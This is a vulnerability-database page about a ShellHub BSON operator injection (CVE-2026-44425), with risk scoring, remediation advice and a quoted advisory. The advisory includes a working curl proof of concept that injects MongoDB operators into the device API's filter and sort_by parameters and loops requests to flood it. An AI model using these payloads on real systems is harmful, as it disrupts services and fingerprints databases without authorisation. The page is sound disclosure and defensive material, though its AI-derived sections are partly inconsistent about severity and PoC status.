Skip to main content

ShellHub CVE-2026-44425

MEDIUM
Improper Input Validation (CWE-20)
2026-05-06 https://github.com/shellhub-io/shellhub GHSA-47r2-v3x6-wff9
5.4
CVSS 3.1 · Vendor: https://github.com/shellhub-io/shellhub
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as any ShellHub user
  2. Delivery
    Craft HTTP GET with $operator as sort_by or filter field name
  3. Exploit
    Send to /api/devices endpoint
  4. Execution
    MongoDB aggregation rejects injected BSON key
  5. Persist
    API returns HTTP 500 with empty body
  6. Impact
    Repeat without rate limiting to generate log noise or fingerprint DB schema

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Exploitation requires a valid ShellHub user JWT - unauthenticated access to the /api/devices endpoint is not sufficient. The vulnerable code paths are active whenever the device list endpoint is queried with a filter or sort_by parameter, which is standard product functionality requiring no non-default configuration. Limiting factors: authentication is mandatory (PR:L), restricting exploitation to credentialed users or compromised accounts; the server process does not crash and recovers between requests, capping availability impact; ReDoS amplification requires a production-scale MongoDB collection with many device records (not reproducible on small datasets). No special deployment mode, feature flag, or OS/platform dependency is required beyond running ShellHub Community v0.24.1 or earlier.

Impact

The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L computes to 5.4, consistent with the provided NVD score. Note a discrepancy: the GHSA advisory text cites 6.5 Medium, but the supplied vector and NVD score are 5.4 - verify with vendor which is authoritative. EPSS at 0.06% (19th percentile) strongly suggests opportunistic exploitation is unlikely; the authenticated requirement (PR:L) meaningfully limits the attacker pool to credentialed users. No CISA KEV listing. A validated PoC exists, but the impact ceiling is low: the server process stays alive, response times are 8-18 ms per request, and the primary consequence is HTTP 500 generation with log noise and potential schema fingerprinting, not data exfiltration or persistent compromise. ReDoS via $regex amplification is a realistic concern on production-scale MongoDB collections but was not reproducible on small datasets. Overall, this is a real but low-urgency issue - priority for authenticated multi-tenant SaaS deployments of ShellHub where tenant isolation and log integrity matter more than perimeter defence.

Exploit ScenarioDerived

An authenticated ShellHub user obtains a valid JWT, then sends a GET request to /api/devices?sort_by=$where with the Authorization: Bearer header set. The backend constructs bson.M{"$sort": {"$where": 1}}, which is rejected by the MongoDB aggregation engine, returning HTTP 500 with an empty body. The attacker repeats this in a tight loop with no rate limiting, flooding application logs and triggering SIEM alerts that obscure legitimate error events; on large multi-tenant deployments, substituting a malicious $regex pattern in the contains filter operator can additionally cause ReDoS amplification against the database. A validated PoC for all vectors is publicly documented in the GHSA advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

BSON operator injection in ShellHub Community v0.24.1 and earlier allows any authenticated user to crash the device list API endpoint by supplying MongoDB operators as filter field names or sort_by values without input validation. Two attack vectors exist in api/store/mongo/query-options.go: unvalidated filter param.Name values become raw BSON map keys, and the sort_by query parameter is passed directly into a $sort pipeline stage. A validated proof-of-concept exists against v0.24.1. No active exploitation is confirmed (not in CISA KEV), and EPSS sits at 0.06% (19th percentile), indicating low real-world exploitation probability despite a public PoC.

RemediationAI

Upgrade ShellHub to v0.24.2, which is confirmed as the fixed release per the GitHub Security Advisory GHSA-47r2-v3x6-wff9 (https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9). Until patching is possible, operators can reduce exposure by restricting the /api/devices endpoint at the reverse-proxy or WAF layer to block query strings containing bare $ characters in filter or sort_by parameters - note this may break legitimate URL-encoded uses and should be tested. Adding rate limiting on the /api/devices endpoint will reduce the DoS amplification surface from unauthenticated or scripted abuse; trade-off is potential false-positive throttling for legitimate automated clients. Disabling or restricting access to the device list API for low-privilege tenant users reduces the exposed attack surface but impacts product usability. For the ReDoS vector specifically, reject regex filter values exceeding a safe length (e.g., 128 characters) or containing nested quantifiers at the application boundary as a compensating control.

Affected Packages

go github.com/shellhub-io/shellhub fix: 0.24.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ShellHub is a Go-based open-source SSH device gateway that uses MongoDB as its backend store. The flaw resides in api/store/mongo/query-options.go, where the Go MongoDB driver constructs BSON documents using user-supplied strings as map keys - specifically param.Name at line 140 and the sort_by query parameter fed into bson.M{"$sort": {sortBy: order}}. Because MongoDB BSON map keys control aggregation pipeline semantics, injecting operator tokens like $where, $ne, $or, or $regex causes the aggregation to fail. A secondary observation involves api/store/mongo/internal/filters.go:60-69, where the fromContains function passes the user-controlled value directly as a $regex pattern, opening a ReDoS surface on large tenant datasets. CWE-20 (Improper Input Validation) is the root cause class, with CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) as the secondary classification. Affected package is pkg:go/github.com/shellhub-io/shellhub versions up to and including 0.24.1.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/shellhub-io/shellhub) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
vuln.today AI 5.4 MEDIUM

Network-accessible API requires low-privilege authentication; scope unchanged; confidentiality limited to schema fingerprinting; availability impact is partial 500 responses with no server crash.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/shellhub-io/shellhub).

CVSS VectorVendor: https://github.com/shellhub-io/shellhub

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
Low

DescriptionCVE.org

Summary

The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

  1. The name field of each filter property in the base64-encoded filter

query parameter.

  1. The sort_by query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

Severity

CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

Affected versions

ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).

Root cause

Vector 1 - Filter field name

api/store/mongo/query-options.go:140:

go
  conditions = append(conditions, bson.M{param.Name: property})

param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.

Vector 2 - Sort-by field

Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.

Additional observation

fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

go
  func fromContains(value interface{}) (bson.M, error) {
      switch value.(type) {
      case string:
          return bson.M{"$regex": value, "$options": "i"}, nil

Proof of concept (validated live against v0.24.1)

bash
  TOKEN=<valid-user-jwt>
# Helper: base64-encode a filter payload
  encode_filter() {
    python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
  }
# --- Vector 1: filter field injection ---
# Baseline: legitimate filter -> 200
  F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 1a: Mongo operator as field name
  F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1b: nested object as value
  F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1c: pipeline-computed field as filter name
  F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Vector 2: sort-by injection ---
# Baseline: legitimate sort -> 200
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 2a: Mongo operator as sort field
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2b: path containing $
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2c: oversized sort field (no length validation)
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2d: non-indexable internal field
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Repeat to demonstrate no rate limiting ---
  for i in $(seq 1 20); do
    curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \
      -H "Authorization: Bearer $TOKEN"
  done
# 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500

Confirmed field values that trigger 500:

  • Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a .
  • Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings

Observed response characteristics:

  HTTP/1.1 500 Internal Server Error
  Content-Length: 0
  X-Request-Id: <id>    ← logged as error in backend

Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.

Impact

  • Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass

fingerprinting.

  • Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
  • Resource exhaustion (potential): user-controlled $regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).
  • Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.

Suggested fix

  1. Allowlist filter and sort field names per collection. Add a whitelist of allowed param.Name and sort_by values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.
  2. Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:
  • start with $
  • contain $ after a .
  • contain characters outside [A-Za-z0-9_.]
  • exceed a reasonable length (e.g., 64 characters)
  1. Validate value shape. For contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).
  2. Catch aggregation errors. In api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.
  3. Limit regex complexity. In fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...)*, (.+)+, etc.) to mitigate ReDoS.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Prevalence
Low
niche open-source SSH device gateway with limited enterprise footprint
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:go/github.com_shellhub-io_shellhub

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy